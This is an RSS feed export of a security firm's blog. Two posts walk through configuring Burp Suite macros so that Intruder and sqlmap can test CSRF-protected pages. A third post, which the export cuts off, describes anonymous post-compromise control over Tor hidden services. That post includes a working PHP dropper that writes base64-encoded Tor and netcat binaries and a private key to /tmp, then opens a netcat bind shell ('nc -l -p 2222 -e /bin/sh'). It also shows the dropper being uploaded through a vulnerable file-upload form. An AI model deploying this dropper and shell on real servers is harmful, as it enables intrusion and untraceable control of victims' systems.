<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Asterisk Labs</title>
	
	<link>http://labs.asteriskinfosec.com.au</link>
	<description>Where the Asterisk Information Security guys get their nerd on.</description>
	<lastBuildDate>Thu, 11 Apr 2013 09:31:27 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/AsteriskLabs" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="asterisklabs" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Fuzzing and Sqlmap inside CSRF-protected locations (Part 2)</title>
		<link>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/</link>
		<comments>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/#comments</comments>
		<pubDate>Thu, 11 Apr 2013 09:31:27 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[burp_suite]]></category>
		<category><![CDATA[penetration_testing]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=360</guid>
		<description><![CDATA[- @dave_au This is part 2 of a post on fuzzing and sqlmap&#8217;ing inside web applications with CSRF protection. In part 1 I provided a walkthough for setting up a Session Handling Rule and macro in Burp suite for use with Burp&#8217;s Intruder. In this part, I will walkthrough a slightly different scenario where we<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>- @dave_au</p>
<p><em>This is part 2 of a post on fuzzing and sqlmap&#8217;ing inside web applications with CSRF protection.  In <a href="/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/">part 1</a> I provided a walkthough for setting up a Session Handling Rule and macro in Burp suite for use with Burp&#8217;s Intruder.  In this part, I will walkthrough a slightly different scenario where we use Burp as a CSRF-protection-bypass harness for sqlmap.</em></p>
<p><strong>Sqlmap inside CSRF</strong></p>
<p>A lot of the process from part 1 of the post is common to part 2.  I will only run through the key differences.</p>
<p>Again, you&#8217;ll need to define a Session Handling Rule, containing a macro sequence that Burp will use to login to the application, and navigate to the page that you need.</p>
<p>The first real difference is in the definition of scope for the session handling rule.  Instead of setting the scope to &#8220;Intruder&#8221; and &#8220;Include all URLs&#8221;, you&#8217;ll need to set the scope to be &#8220;Proxy&#8221; and a custom scope containing the URL that you are going to be sqlmapping.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot11.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot11.jpg" alt="screenshot11" width="856" height="726" class="alignnone size-full wp-image-361" /></a></p>
<p>There is a note to &#8220;use with caution&#8221; on the tool selection for Proxy.  It is not too hard to see why &#8211; if you scoped the rule too loosely for Proxy, each request could trigger a whole new session login.  And then I guess the session login could trigger a session login, and then the universe would collapse into itself.  Bad news.  You have been warned.</p>
<p>Once the session handling rule is in place, find an in-scope request that you made previously, and construct it into a sqlmap command line.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot12.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot12.jpg" alt="screenshot12" width="1082" height="579" class="alignnone size-full wp-image-362" /></a></p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot13.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot13.jpg" alt="screenshot13" width="1123" height="184" class="alignnone size-full wp-image-364" /></a></p>
<p>In this example, I&#8217;m attempting an injection into a RESTful URL, so I&#8217;ve manually specified the injection point with &#8220;*&#8221;.  I&#8217;ve included a cookie parameter that defines the required cookies, but the actual values of the cookies is irrelevant, since Burp will replace these based on the macro.<br />
If it was a POST, you would need to include a similar &#8211;data parameter to sqlmap, where Burp would replace any CSRF tokens from hidden form fields.  Finally, we have specified a proxy for sqlmap to use (Burp).</p>
<p>Running sqlmap, we start to see it doing it&#8217;s thing in the Burp Proxy window.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/Screenshot-a.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/Screenshot-a.png" alt="Screenshot a" width="1366" height="720" class="alignnone size-full wp-image-367" /></a></p>
<p>That&#8217;s pretty much all there is to it.</p>
<p>One catch for the Session Handling Rule / macro configuration is that there isn&#8217;t a lot of evidence in the Burp tool (Intruder, Proxy, &#8230;) that anything is happening.  If you are not getting the results that you would expect, the first thing to check is the Sessions Tracer, which can be found in the Session Handling Rules section.  Clicking the &#8220;Open sessions tracer&#8221; button opens the Session Handling Tracer window.  If a session handling rule is triggered, the actions for that rule will start to show up in the Tracer window.  You can step through a macro, request by request, to see that everything is in order.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot-b.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot-b.png" alt="screenshot b" width="866" height="713" class="alignnone size-full wp-image-370" /></a></p>
<p><strong>Conclusion</strong></p>
<p>In this two part post, I&#8217;ve walked through setting up Burp Suite to do fuzzing inside CSRF-protected applications, both with Burp&#8217;s own Intruder tool and using an external tool (sqlmap).</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fuzzing and sqlmap inside CSRF-protected locations (Part 1)</title>
		<link>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/</link>
		<comments>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/#comments</comments>
		<pubDate>Tue, 09 Apr 2013 14:46:41 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[burp_suite]]></category>
		<category><![CDATA[penetration_testing]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=342</guid>
		<description><![CDATA[- @dave_au Hi all, David here. I was recently testing a web app for a client written in ASP.NET MVC. The developers are pretty switched on, and had used RequestValidation throughout the application in order to prevent CSRF. Further to this, in several locations, if there was a RequestValidation failure, they were destroying the current<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>- @dave_au</p>
<p>Hi all, David here.  I was recently testing a web app for a client written in ASP.NET MVC.  The developers are pretty switched on, and had used RequestValidation throughout the application in order to prevent CSRF.  Further to this, in several locations, if there was a RequestValidation failure, they were destroying the current session and dropping the user back to the login form.  Brutal.</p>
<p>I didn&#8217;t <em>think</em> that there would be any injection issues in the app, but I needed to test all the same and this presented an interesting challenge &#8211; how to fuzz or sqlmap on target parameters within the CSRF-protected pages of the application.</p>
<p>If I opted for a manual approach, the process would look like this:</p>
<ol>
<li>Login to the application</li>
<li>Navigate to the page under test</li>
<li>Switch Burp proxy to intercept</li>
<li>Submit and intercept the request</li>
<li>Alter the parameter under test in Burp, then release the request</li>
<li>Observe results</li>
<li>Goto 1</li>
</ol>
<p>This would be incredibly slow and inefficient, and wouldn&#8217;t really provide a way of using external tools.</p>
<p>I scratched my head for a while and did some reading on Buby, Burp Extender and Sqlmap tamper scripting until I finally came across an article from <a href="http://128nops.blogspot.com.au/2013/02/jar-full-of-cookies.html">Carstein at 128nops</a> which led me to further reading by <a href="http://blog.portswigger.net/2011/03/burp-v14-preview-session-handling_25.html">Dafydd on the Portswigger Web Security Blog</a>.  Turns out that Burp suite can do exactly what I needed, out of the box, so I thought I&#8217;d put together a step-by-step for how I solved the problem.</p>
<p><strong>Fuzzing (with Intruder) inside CSRF</strong></p>
<p><em>Note: Intruder has built-in recursive grep functionality that can be used in some circumstances to take the CSRF token from one response and use it in the following request (&#038;c.)<a href="http://www.netspi.com/blog/2010/09/14/fuzzing-parameters-in-csrf-resistant-applications-with-burp-proxy/">[1]</a>.  This wasn&#8217;t much good to me, since the session was being destroyed if CSRF validation failed.</em>   </p>
<p>In Burp terminology, you need to create a Session Handling Rule to make Intruder perform a sequence of actions (login, navigate to page under test) before each request.</p>
<p>Go to the &#8220;Options&#8221; tab, and select the &#8220;Sessions&#8221; sub-tab.  &#8220;Session Handling Rules&#8221; is right at the top.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot1.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot1.jpg" alt="screenshot1" width="867" height="556" class="alignnone size-full wp-image-343" /></a></p>
<p>Click the &#8220;Add&#8221; button to create a new Session Handling Rule.  The Session Handling Rule editor window opens.  Give the rule a meaningful name, then click the &#8220;Add&#8221; button for &#8220;Rule Actions&#8221; and select &#8220;Run a macro&#8221; from the drop-down.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot2.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot2.jpg" alt="screenshot2" width="856" height="537" class="alignnone size-full wp-image-344" /></a></p>
<p>This opens the Session Handling Action Editor window&#8230;</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot3.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot3.jpg" alt="screenshot3" width="856" height="726" class="alignnone size-full wp-image-345" /></a></p>
<p>In this window, click the &#8220;Add&#8221; button next to &#8220;Select macro:&#8221;.  This opens the Macro Editor and Macro Recorder windows (shown a further on).  Now that Burp is set up and waiting to record the sequence, switch over to your web browser.  In a new window / session (making sure to delete any leftover session cookies), navigate to the login page, login, then navigate to the page within the application where you want to be doing fuzz testing.  Once you are there, switch back over to Burp.  The Macro Recorder should show the intercepted requests.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot4.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot4.jpg" alt="screenshot4" width="930" height="386" class="alignnone size-full wp-image-346" /></a></p>
<p>Select the requests that you want to use in the macro and click &#8220;OK&#8221;.  This will close the Macro Recorder window.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot5.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot5.jpg" alt="screenshot5" width="930" height="544" class="alignnone size-full wp-image-347" /></a></p>
<p>In the Macro Editor window, give the macro a meaningful name and look through the &#8220;Cookies received&#8221;, &#8220;Derived Parameters&#8221; and &#8220;Preset Parameters&#8221; columns to check that Burp has analysed the sequence correctly.  When you&#8217;re happy, you can test the macro out by clicking the &#8220;Test Macro&#8221; button.  If everything looks alright, click &#8220;OK&#8221; to close the Macro Editor window.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot6.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot6.jpg" alt="screenshot6" width="1366" height="627" class="alignnone size-full wp-image-348" /></a></p>
<p>Almost there.</p>
<p>Back in the Session Handling Action Editor window, you should be OK to leave the other options for updating parameters and cookies as-is.  Click &#8220;OK&#8221; to exit out of here.</p>
<p>Now, back in the Session Handling Rule Editor window, you&#8217;ll see your macro listed in the Rule Actions&#8230;</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot7.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot7.jpg" alt="screenshot7" width="856" height="526" class="alignnone size-full wp-image-349" /></a></p>
<p>Before you close this window, switch over to the &#8220;Scope&#8221; tab and alter the scope for the rule to be just for Intruder and &#8220;Include all URLs&#8221;.  (If you want to be more specific, you could specify the URL that you wanted the rule to apply to, but I just put it in scope for all of Intruder, and remember to turn the rule off when I&#8217;m not using it.  This becomes more important in Part 2 of this post.) Then close the Session Handling Rule Editor window.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot8.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot8.jpg" alt="screenshot8" width="856" height="529" class="alignnone size-full wp-image-351" /></a></p>
<p>Your session handling rule is now defined.</p>
<p>Next, go back over to Burp&#8217;s proxy and send the request that you want to fuzz over to Intruder in the usual way.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot9.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot9.jpg" alt="screenshot9" width="777" height="556" class="alignnone size-full wp-image-352" /></a></p>
<p>In Intruder&#8217;s &#8220;Position&#8221; tab, you&#8217;ll want to clear <em>all</em> of the injection points except for the one that you want to specifically fuzz test.  Session cookies and any CSRF tokens (in cookies or hidden form fields) will be populated automatically by Intruder from the macro sequence.</p>
<p><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot10.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/04/screenshot10.jpg" alt="screenshot10" width="1077" height="651" class="alignnone size-full wp-image-356" /></a></p>
<p>Set your payloads and other options as required.  If the application is sensitive to multiple concurrent sessions for the same user, you will need to reduce the number of threads to 1 in the &#8220;Options&#8221; tab.  </p>
<p>Then start Intruder.  You will almost certainly notice that Intruder runs slowly; this is to be expected when you consider that it is going through a new login sequence for each request.</p>
<p>To fuzz different parameters on the same page, just go back into &#8220;Positions&#8221; and choose the next target.</p>
<p>To fuzz parameters on a different page, you will probably need to go back into your Session Handling Rule and edit your macro (or define a new macro) that logs in and navigates to the new target page.</p>
<p><em>In <a href="/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/">part 2</a> of this post, I&#8217;ll step through a slightly different scenario where we use an external tool (sqlmap), proxied through Burp, with a Session Handling rule running on Burp&#8217;s Proxy.<br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anonymous post-compromise control via Tor hidden services</title>
		<link>http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/</link>
		<comments>http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/#comments</comments>
		<pubDate>Mon, 14 Jan 2013 06:06:00 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[penetration_testing]]></category>
		<category><![CDATA[pivot]]></category>
		<category><![CDATA[tor]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=275</guid>
		<description><![CDATA[Hi all, David here.  This post has been quite a long time coming.  The idea has been brewing in the back of my mind for a good six months and I’ve just been waiting until I had some spare cycles to write it up and post it.  Yay for Christmas and the holiday season! I<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>Hi all, David here.  This post has been quite a long time coming.  The idea has been brewing in the back of my mind for a good six months and I’ve just been waiting until I had some spare cycles to write it up and post it.  Yay for Christmas and the holiday season!</p>
<p>I expect that this is going to be a relatively lengthy post.  If you can’t spare the time, see the TLDR at the bottom.</p>
<p>So, I can imagine certain scenarios where it would be highly desirable to remain anonymous when compromising and exerting post-compromise control over target systems on the Internet.  Setting aside any black-hat motivations I expect that law enforcement agencies and offensive cyber operations teams require effective anonymity at various times.  This led me to thinking about methods for post-compromise control of targets that are both:</p>
<p>a)      Useful, and<br />
b)      Anonymous.</p>
<p>For the sake of simplicity, lets say that the target system is a web server on the Internet.  Pre-compromise activities (information gathering, application mapping, etc) and actual exploitation would be relatively easy to achieve with anonymity using the Tor anonymisation network.  However, once the system is compromised, your options for post-compromise command &amp; control introduce some challenges to maintaining anonymity.</p>
<p>Broadly, the options that I can see for post-compromise control are:</p>
<ol>
<li><strong>In-band control (within the HTTP or HTTPS service)</strong> - The most obvious example here would be to load a PHP shell onto the compromised system, and perform C&amp;C through this.</li>
<li><strong>Out-of-band forward connection</strong> &#8211; You install a trojan service onto the compromised system, listening on a different unused network port (eg. Metasploit bind_tcp payloads).  This still lets you use Tor for C&amp;C, but virtually every real world system will have some form of firewall in place which will prevent you from connecting to arbitrary listening ports.</li>
<li><strong>Out-of-band reverse connection</strong> &#8211; You install a trojan service onto the compromised system; the Trojan establishes an outbound connection to your C&amp;C server (eg. Metasploit reverse_tcp and reverse_http payloads).  This is more likely to succeed against perimeter firewalls, but is a significant challenge to anonymity – you need to have a known IP address for the trojan to connect back to.</li>
</ol>
<p>Option 1 isn’t a bad choice, but let’s be honest – web shells mostly suck.  They might be OK for rudimentary post-compromise activities, but I don’t think that they meet the primary requirement of being truly <em>useful</em>.  They don’t give you an interactive shell with job control and all of the nice stuff, let alone more advanced desirable features like port forwarding and application or network pivoting.</p>
<p>Option 2 is generally not practical due to pervasive firewalling, and Option 3 breaks the second primary requirement of maintaining anonymity.</p>
<p>The answer that I arrived at is to leverage Tor hidden services on the compromised host.</p>
<p>The assumed pre-requisites for this method of anonymous, useful, post-compromise control are as follows:</p>
<ol>
<li>You have already compromised the system, and you are able to upload and execute arbitrary code (doesn’t necessarily need to be privileged execution);
</li>
<li>The compromised system is able to establish an outbound connection to the Tor network.  This isn’t too much of a stretch; I’ve seen a lot of DMZ infrastructure and hosted websites that have more or less unrestricted egress access for grabbing automatic updates or to facilitate administration.
</li>
</ol>
<p>The steps go like this:</p>
<ol>
<li>Upload your required trojan or network service and bind it to an unused port on the localhost interface (bind_tcp).
</li>
<li>Upload a Tor client with a hidden services configuration and run it .  The client establishes a connection to the Tor network, and sets up the hidden service, redirecting to the trojan listener that you set up in step 1.
</li>
<li>From your workstation, establish a connection to the Tor network and connect to the published hidden service.  Egress becomes ingress and you are able to establish an out-of-band forward connection, with anonymity, straight through the target’s firewall.
</li>
</ol>
<p><a href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/hidden-services-diagram/" rel="attachment wp-att-310"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/01/Hidden-Services-diagram.png" alt="Hidden Services diagram" width="620" class="alignnone size-full wp-image-310" /></a></p>
<p>The choice of network service that you install on the compromised host is limited only by your imagination.  Some options might include:</p>
<ul>
<li>A netcat listener bound to a shell;
</li>
<li>A customised SSH daemon;
</li>
<li>A meterpreter payload ;
</li>
<li>A SOCKS daemon, providing an application proxy pivot onto the target network;
</li>
<li>An OpenVPN daemon, proving network layer pivot capability onto the target network.
</li>
</ul>
<p>One small obstacle that makes this process a little more difficult is the fact that a LOT of client applications don’t natively support connecting via SOCKS, or they implement SOCKS poorly in relation to name resolution.  In order to access a hidden service on Tor, the client needs to be able to use the SOCKS proxy server provided by the Tor client, and the client needs to defer name resolution to the SOCKS server.  To imbue non-SOCKS-enabled clients with SOCKS capability, you need to look to an additional tool like torify or socat.</p>
<p>The examples below show the process from end-to-end both for a Netcat shell listener, and also for a metasploit bind_tcp shell.  Both examples utilise socat to enable the client to connect to the published hidden service.</p>
<p><strong><u>Example 1 &#8211; Netcat shell listener</u></strong></p>
<p><strong>Step 1 &#8211; Tor hidden service pre-configuration</strong></p>
<p>Tor hidden services, identified by &#8220;.onion&#8221; pseudo-TLD addresses, are linked to a private key.  If you move the private key from one Tor client to another, the hidden service definition follows.  In order to know the hidden service address that you&#8217;ll be using for post-compromise control, it is necessary to generate the private key and matching hostname ahead of time.  So, we create a very simple torrc file and create a new private key and hostname&#8230;</p>
<p><code></p>
<pre>
david@GTFO:~$ 
david@GTFO:~$ cd torcontrol/
david@GTFO:~/torcontrol$ ls -l
total 1232
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cat torrc
SocksPort 9050
SocksListenAddress 127.0.0.1
#HiddenServiceDir /var/tmp/tor/
HiddenServiceDir ./hidden/
HiddenServicePort 2222 127.0.0.1:2222
david@GTFO:~/torcontrol$ ./tor -f ./torrc
Dec 24 13:16:45.497 [notice] Tor v0.2.2.37. This is experimental software. Do not rely on it for strong anonymity. (Running on Linux x86_64)
Dec 24 13:16:45.497 [notice] Initialized libevent version 2.0.16-stable using method epoll. Good.
Dec 24 13:16:45.498 [notice] Opening Socks listener on 127.0.0.1:9050
Dec 24 13:16:45.552 [notice] OpenSSL OpenSSL 1.0.1 14 Mar 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation
Dec 24 13:16:45.608 [warn] Please upgrade! This version of Tor (0.2.2.37) is obsolete, according to the directory authorities. Recommended versions are: 0.2.2.39,0.2.3.24-rc,0.2.3.25,0.2.4.5-alpha,0.2.4.6-alpha
Dec 24 13:16:45.794 [notice] We now have enough directory information to build circuits.
Dec 24 13:16:45.794 [notice] Bootstrapped 80%: Connecting to the Tor network.
Dec 24 13:16:47.087 [notice] Bootstrapped 85%: Finishing handshake with first hop.
Dec 24 13:16:49.129 [notice] Bootstrapped 90%: Establishing a Tor circuit.
Dec 24 13:16:51.813 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Dec 24 13:16:51.813 [notice] Bootstrapped 100%: Done.
^CDec 24 13:16:59.010 [notice] Interrupt: exiting cleanly.
david@GTFO:~/torcontrol$ ls -l
total 1236
drwx------ 2 david david    4096 Dec 24 13:16 hidden
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cd hidden
david@GTFO:~/torcontrol/hidden$ ls -l
total 8
-rw------- 1 david david  23 Dec 24 13:16 hostname
-rw------- 1 david david 887 Dec 24 13:16 private_key
david@GTFO:~/torcontrol/hidden$ cat hostname
zcbvswdhpmb7mkgq.onion
david@GTFO:~/torcontrol/hidden$
</pre>
<p></code></p>
<p><strong>Step 2 &#8211; Construct a payload to upload to the compromised system</strong></p>
<p>This stage will vary from server to server, and depending on what service you want to run on the compromised system.  My target system is a Linux server, running Apache with PHP.  The payload bundle contains everything that will be required to establish the Tor hidden service, as well as my required trojan.</p>
<p>Caveat: I am not a coder.  This is a hideous hack in order to achieve my requirement.  I am certain that there are 100&#8242;s of more elegant ways of achieving the same net result.</p>
<p>Payload &#8220;dropper.php&#8221; follows:<br />
<code></p>
<pre>
&lt;?php
$str = 'H4sICB3s11AAA3RvcgCMWwmYHFW1vplMkh6yJ5CwBEg0wOCDkAxJTBA124Ssk3GSQBCw0tNdPVNM
<em>--snip--</em>
pi6xDt9HxLYaXBDOH6QbsXS8/QtvoE3uQMUSAA==';
$handle = fopen("/tmp/tor.gz", "w+");
fwrite($handle,base64_decode($str));
fclose($handle);
shell_exec('gunzip /tmp/tor.gz');
shell_exec('chmod 755 /tmp/tor');

$str = 'SocksPort 9050
SocksListenAddress 127.0.0.1
DataDirectory /tmp/.tor
HiddenServiceDir /tmp/hidden/
HiddenServicePort 2222 127.0.0.1:2222
';
$handle = fopen("/tmp/torrc", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('mkdir /tmp/hidden');
shell_exec('chmod 700 /tmp/hidden');

$str = 'zcbvswdhpmb7mkgq.onion';
$handle = fopen("/tmp/hidden/hostname", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('chmod 600 /tmp/hidden/hostname');

$str = '-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDB9xZuO4chidB4S4sdZZH7XRIj/7slR6NCxs9kIWnzA9pFF1aR
<em>--snip--</em>
MmaQ/2PM26I1EwSxqLi33RdrwBgPdTMODx3VGAxinA==
-----END RSA PRIVATE KEY-----';
$handle = fopen("/tmp/hidden/private_key", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('chmod 600 /tmp/hidden/private_key');
system('/tmp/tor -f /tmp/torrc &gt;/tmp/log 2&gt;&amp;1 &amp;');
sleep(5);

$str = 'H4sICC/s11AAA25jAO18fXhU1bX3mckEJhicqFBRUY82FFASCaJCCBo+RvHKl0oqLUScZGaYKZOZ
<em>--snip--</em>
PPT/QlZ/+NZW7yD9Ib2UhQdfcJzwegbB25SF19lps3cu7P+9TrPvN+T4TN9BmsetijLbksFTZb5N
6f+dSOCNyIItWXmWeigTCe/tQfD+H9c9M+o8VgAA';
$handle = fopen("/tmp/nc.gz", "w+");
fwrite($handle,base64_decode($str));
fclose($handle);
shell_exec('gunzip /tmp/nc.gz');
shell_exec('chmod 755 /tmp/nc');
system('/tmp/nc -l -p 2222 -e /bin/sh &gt;/dev/null 2&gt;&amp;1 &amp;');
print("Done!");
?>
</pre>
<p></code></p>
<p><strong>Step 3 &#8211; Upload the payload bundle to the web server</strong></p>
<p>Using your Tor-enabled web browser, first check that Tor is active&#8230;</p>
<p><a href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/screenshot1/" rel="attachment wp-att-279"><img class="alignnone size-full wp-image-279" alt="Screenshot1" src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/01/Screenshot1.png" width="711" height="720" /></a></p>
<p>Then navigate to the target system&#8230;</p>
<p><a href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/screenshot2/" rel="attachment wp-att-278"><img class="alignnone size-full wp-image-278" alt="Screenshot2" src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/01/Screenshot2.png" width="719" height="443" /></a></p>
<p>And using the vulnerable file upload facility, upload your payload&#8230;</p>
<p><a href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/screenshot3/" rel="attachment wp-att-277"><img class="alignnone size-full wp-image-277" alt="screenshot3" src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/01/screenshot3.png" width="719" height="443" /></a></p>
<p><strong>Step 4 &#8211; Execute your payload on the web server</strong></p>
<p>There&#8217;s not too much to see here from the attacker&#8217;s perspective, so I&#8217;ve illustrated this with some behind-the-scenes information from the web server.  Here&#8217;s the situation before the upload:<br />
<code><br />
root@ip-10-128-69-141:/var/<wbr />www# ls -l<br />
total 12<br />
-rw-r--r-- 1 www-data www-data  66 2013-01-10 06:58 index.html<br />
-rw-r--r-- 1 www-data www-data 358 2012-12-24 06:23 uploader.php<br />
-rw-r--r-- 1 www-data www-data 332 2012-12-24 06:15 upload.html<br />
root@ip-10-128-69-141:/var/<wbr />www#<br />
</code></p>
<p>And the same listing after we&#8217;ve uploaded the payload:<br />
<code><br />
root@ip-10-128-69-141:/var/<wbr />www# ls -l<br />
total 724<br />
-rw-r--r-- 1 www-data www-data 722088 2013-01-10 07:03 dropper.php<br />
-rw-r--r-- 1 www-data www-data     66 2013-01-10 06:58 index.html<br />
-rw-r--r-- 1 www-data www-data    358 2012-12-24 06:23 uploader.php<br />
-rw-r--r-- 1 www-data www-data    332 2012-12-24 06:15 upload.html<br />
root@ip-10-128-69-141:/var/<wbr />www#<br />
</code></p>
<p>Before we run the payload, this is what the system looks like:<br />
<code><br />
root@ip-10-128-69-141:/var/<wbr />www# ps -ef | grep www-data<br />
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start<br />
root@ip-10-128-69-141:/var/<wbr />www# ls -la /tmp<br />
total 8<br />
drwxrwxrwt  2 root root 4096 2013-01-10 07:07 .<br />
drwxr-xr-x 21 root root 4096 2013-01-10 06:39 ..<br />
root@ip-10-128-69-141:/var/<wbr />www#<br />
</code></p>
<p>No unusual processes, and nothing fun in /tmp.<br />
Then we run the payload container from the browser&#8230;</p>
<div><a href="http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/screenshot4-2/" rel="attachment wp-att-280"><img class="alignnone size-full wp-image-280" alt="Screenshot4" src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2013/01/Screenshot41.png" width="719" height="443" /></a></div>
